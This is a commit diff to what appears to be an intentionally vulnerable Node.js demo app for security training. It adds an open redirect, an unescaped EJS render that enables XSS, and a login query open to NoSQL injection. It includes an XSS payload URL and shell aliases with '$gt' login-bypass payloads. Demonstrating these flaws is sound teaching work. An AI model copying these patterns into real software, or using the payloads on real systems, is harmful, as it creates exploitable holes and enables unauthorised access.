feat: add open redirect and xss vulns in code (#960)

Author: lirantal

README.md

@@ -42,15 +42,44 @@ npm run cleanup
 
 ## Exploiting the vulnerabilities
 
-This app uses npm dependencies holding known vulnerabilities.
+This app uses npm dependencies holding known vulnerabilities,
+as well as insecure code that introduces code-level vulnerabilities.
+
+The `exploits/` directory includes a series of steps to demonstrate each one.
+
+### Vulnerabilities in open source dependencies
 
 Here are the exploitable vulnerable packages:
 - [Mongoose - Buffer Memory Exposure](https://snyk.io/vuln/npm:mongoose:20160116) - requires a version <= Node.js 8. For the exploit demo purposes, one can update the Dockerfile `node` base image to use `FROM node:6-stretch`.
 - [st - Directory Traversal](https://snyk.io/vuln/npm:st:20140206)
 - [ms - ReDoS](https://snyk.io/vuln/npm:ms:20151024)
 - [marked - XSS](https://snyk.io/vuln/npm:marked:20150520)
 
-The `exploits/` directory includes a series of steps to demonstrate each one.
+### Vulnerabilities in code
+
+* Open Redirect
+* NoSQL Injection
+* Command execution
+* Cross-site Scripting (XSS)
+* Security misconfiguration exposes server information 
+* Insecure protocol (HTTP) communication 
+
+#### Open redirect
+
+The `/admin` view introduces a `redirectPage` query path, as follows in the admin view:
+
+```
+<input type="hidden" name="redirectPage" value="<%- redirectPage %>" />
+```
+
+One fault here is that the `redirectPage` is rendered as raw HTML and not properly escaped, because it uses `<%- >` instead of `<%= >`. That itself, introduces a Cross-site Scripting (XSS) vulnerability via:
+
+```
+http://localhost:3001/login?redirectPage="><script>alert(1)</script>
+```
+
+To exploit the open redirect, simply provide a URL such as `redirectPage=https://google.com` which exploits the fact that the code doesn't enforce local URLs in `index.js:72`.
+
 
 ## Docker Image Scanning
 

app.js

@@ -45,8 +45,10 @@ app.use(fileUpload());
 // Routes
 app.use(routes.current_user);
 app.get('/', routes.index);
+app.get('/login', routes.login);
+app.post('/login', routes.loginHandler);
 app.get('/admin', routes.admin);
-app.post('/admin', routes.admin);
+app.get('/account_details', routes.account_details);
 app.post('/create', routes.create);
 app.get('/destroy/:id', routes.destroy);
 app.get('/edit/:id', routes.edit);

exploits/nosql-exploits.sh

@@ -4,17 +4,17 @@ if [ -z "$GOOF_HOST" ]; then
 fi
 
 # Default working case - form fill
-alias ns1="echo -n 'username=admin&password=SuperSecretPassword' | http --form $GOOF_HOST/admin -v"
+alias ns1="echo -n 'username=admin&password=SuperSecretPassword' | http --form $GOOF_HOST/login -v"
 
 # JSON working login
-alias ns2='echo '"'"'{"username":"admin", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/admin -v'
+alias ns2='echo '"'"'{"username":"admin", "password":"SuperSecretPassword"}'"'"' | http --json $GOOF_HOST/login -v'
 
 # failed login
-alias ns3='echo '"'"'{"username":"admin", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/admin -v'
+alias ns3='echo '"'"'{"username":"admin", "password":"WrongPassword"}'"'"' | http --json $GOOF_HOST/login -v'
 
 # successful login, NOSQL Injection, knowing the username
-alias ns4='echo '"'"'{"username": "admin", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/admin -v'
+alias ns4='echo '"'"'{"username": "admin", "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v'
 
 # successful login, NOSQL Injection, without knowing the username
-alias ns5='echo '"'"'{"username": {"$gt": ""}, "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/admin -v'
+alias ns5='echo '"'"'{"username": {"$gt": ""}, "password": {"$gt": ""}}'"'"' | http --json $GOOF_HOST/login -v'
 

routes/index.js

@@ -33,25 +33,48 @@ exports.index = function (req, res, next) {
     });
 };
 
-
-exports.admin = function (req, res, next) {
-  console.log(req.body);
+exports.loginHandler = function (req, res, next) {
   User.find({ username: req.body.username, password: req.body.password }, function (err, users) {
     if (users.length > 0) {
-      return res.render('admin', {
-        title: 'Admin Access Granted',
-        granted: true,
-      });
+      const redirectPage = req.body.redirectPage
+      return adminLoginSuccess(redirectPage, res)
     } else {
-      return res.render('admin', {
-        title: 'Admin Access',
-        granted: false,
-      });
+      return res.redirect('/admin')
     }
   });
+};
 
+exports.login = function (req, res, next) {
+  return res.render('admin', {
+    title: 'Admin Access',
+    granted: false,
+    redirectPage: req.query.redirectPage
+  });
 };
 
+exports.admin = function (req, res, next) {
+  return res.render('admin', {
+    title: 'Admin Access Granted',
+    granted: true,
+  });
+};
+
+exports.account_details = function (req, res, next) {
+  return res.render('account_details', {
+    title: 'Account details',
+    granted: true,
+  });
+};
+
+function adminLoginSuccess(redirectPage, res) {
+  console.log({redirectPage})
+  if (redirectPage) {
+      return res.redirect(redirectPage)
+  } else {
+      return res.redirect('/admin')
+  }
+}
+
 function parse(todo) {
   var t = todo;
 

service/adminService.js

@@ -0,0 +1,12 @@
+// @TODO use this adminService file once Snyk Code for VSCode
+// is able to navigate to cross-file paths in the vuln description 
+/** 
+module.exports.adminLoginSuccess = function(redirectPage, res) {
+    console.log({redirectPage})
+    if (redirectPage) {
+        return res.redirect(redirectPage)
+    } else {
+        return res.redirect('/admin')
+    }
+}
+*/

views/account_details.ejs

@@ -0,0 +1,32 @@
+<% layout( 'layout' ) -%>
+<style>
+strong {font-weight: bold}
+</style>
+<h1 id="page-title"><%= title %></h1>
+
+<div id="list">
+  <form action="/" method="get" accept-charset="utf-8">
+    <div class="item-new">
+      <center>First name</center>
+      <input class="input" type="text" name="firstname" value="admin" />
+      <br/>
+
+     <center>Last name</center>
+     <input class="input" type="text" name="firstname" value="baba" />
+     <br/>
+
+     <center>Country</center>
+     <input class="input" type="text" name="firstname" value="Israel" />
+     <br/>
+
+     <center>Phone number</center>
+     <input class="input" type="text" name="firstname" value="972-412-312-444" />
+     <br/>
+
+     <center>Email</center>
+     <input class="input" type="text" name="firstname" value="[email protected]" />
+     <br/>
+
+    </div>
+  </form>
+</div>

views/admin.ejs

@@ -5,7 +5,7 @@ strong {font-weight: bold}
 <h1 id="page-title"><%= title %></h1>
 
 <div id="list">
-  <form action="/admin" method="post" accept-charset="utf-8">
+  <form action="/login" method="post" accept-charset="utf-8">
     <% if( granted == false ){ %>
     <div class="item-new">
       <center>username</center>
@@ -14,6 +14,7 @@ strong {font-weight: bold}
       <center>password</center>
       <input class="input" type="password" name="password" />
       <center>
+      <input type="hidden" name="redirectPage" value="<%- redirectPage %>" />
       <input type="submit">
       </center>
     </div>